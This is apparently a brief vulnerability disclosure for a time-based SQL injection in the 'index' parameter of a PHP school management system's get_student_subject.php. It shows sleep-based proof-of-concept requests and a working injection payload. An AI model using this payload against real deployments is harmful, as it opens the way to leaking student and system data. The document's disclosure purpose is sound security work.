

SQL injection vulnerability exists in index parameter of /model/get_student_subject.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The request is a GET to `/std1/model/get_student_subject.php?index=(select(0)from(select(sleep(4)))v) HTTP/1.1`. The response is a 200 OK from `nginx/1.15.11`. The status bar at the bottom indicates a response time of 4,014 milliseconds.

Sleep time is 8s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The request is a GET to `/std1/model/get_student_subject.php?index=(select(0)from(select(sleep(8)))v) HTTP/1.1`. The response is a 200 OK from `nginx/1.15.11`. The status bar at the bottom indicates a response time of 8,001 milliseconds.

Payload: `index=(select(0)from(select(sleep(8)))v)`

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>